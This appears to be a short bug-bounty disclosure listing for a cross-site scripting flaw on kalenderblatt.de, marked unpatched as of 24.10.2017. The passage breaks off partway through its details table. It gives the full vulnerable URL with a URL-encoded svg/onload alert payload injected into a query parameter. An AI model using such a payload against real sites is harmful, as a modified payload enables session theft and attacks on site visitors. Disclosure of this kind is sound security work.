kalenderblatt.de XSS vulnerability

Vulnerable URL: http://kalenderblatt.de/index.php?tag=26=7=2017=suer=1=all=1〈=de=%22%2F%3E%27%3E%22%3EI%3Ci%3EI%3Csvg%2Fonload%3Dalert%28%2Fopenbugbounty%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 24.10.2017 Vulnerability type:| XSS Vulnerability status:|...